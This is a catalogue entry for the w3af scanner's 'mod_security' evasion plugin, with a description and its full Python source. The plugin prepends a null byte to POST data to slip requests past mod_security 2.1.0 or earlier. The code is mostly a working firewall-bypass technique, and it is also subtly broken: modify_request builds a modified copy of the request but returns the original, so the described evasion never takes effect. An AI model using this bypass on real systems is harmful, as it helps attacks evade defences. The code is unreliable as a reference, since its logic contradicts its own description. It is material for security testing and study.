mod_security

2013-06-10T23:02:10
ID W3AF:3FD7116AE9883D54351A7292B0EE5CDF
Type w3af
Reporter andresriancho
Modified 2019-04-01T16:42:01

Description

This evasion plugin performs a bypass for mod_security version 2.1.0 or less here:

  • http://www.php-security.org/MOPB/BONUS-12-2007.html

Important: The evasion only works for postdata. Example: Post-data Input: 'a=b' Post-data Output : '\x00a=b'

Plugin type

Evasion

Options

This plugin doesn't have any user configured options.

Source

For more information about this plugin and the associated tests, there's always the source code to understand exactly what's under the hood:
Plugin source code
Unittest source code

Dependencies

This plugin has no dependencies.

                                        
                                            """
mod_security.py

Copyright 2006 Andres Riancho

This file is part of w3af, http://w3af.org/ .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

"""
import copy

from w3af.core.controllers.plugins.evasion_plugin import EvasionPlugin
from w3af.core.data.parsers.doc.url import parse_qs


class mod_security(EvasionPlugin):
    """
    Evade detection using a mod_security vulnerability.

    :author: Francisco Amato ( famato |at| infobyte.com.ar )
    """
    def modify_request(self, request):
        """
        Mangles the request

        :param request: HTTPRequest instance that is going to be modified by
                        the evasion plugin
        :return: The modified request
        """
        data = str(request.get_data())

        if not data:
            return request

        # Only mangle the postdata if it is a url encoded string
        try:
            parse_qs(data)
        except:
            return request

        data = '\x00' + data
        headers_copy = copy.deepcopy(request.headers)
        headers_copy['content-length'] = str(len(data))

        new_req = request.copy()
        new_req.set_headers(headers_copy)
        new_req.set_data(data)

        return request

    def get_priority(self):
        """
        This function is called when sorting evasion plugins.
        Each evasion plugin should implement this.

        :return: An integer specifying the priority. 0 is run first, 100 last.
        """
        return 50

    def get_long_desc(self):
        """
        :return: A DETAILED description of the plugin functions and features.
        """
        return """
        This evasion plugin performs a bypass for mod_security version 2.1.0.
        More information about the vulnerability can be found at:
        
            - http://www.php-security.org/MOPB/BONUS-12-2007.html

        Important: The evasion only works for postdata.

        Example:
            Input post-data:      'a=b'
            Output post-data:     '\\x00a=b'
        """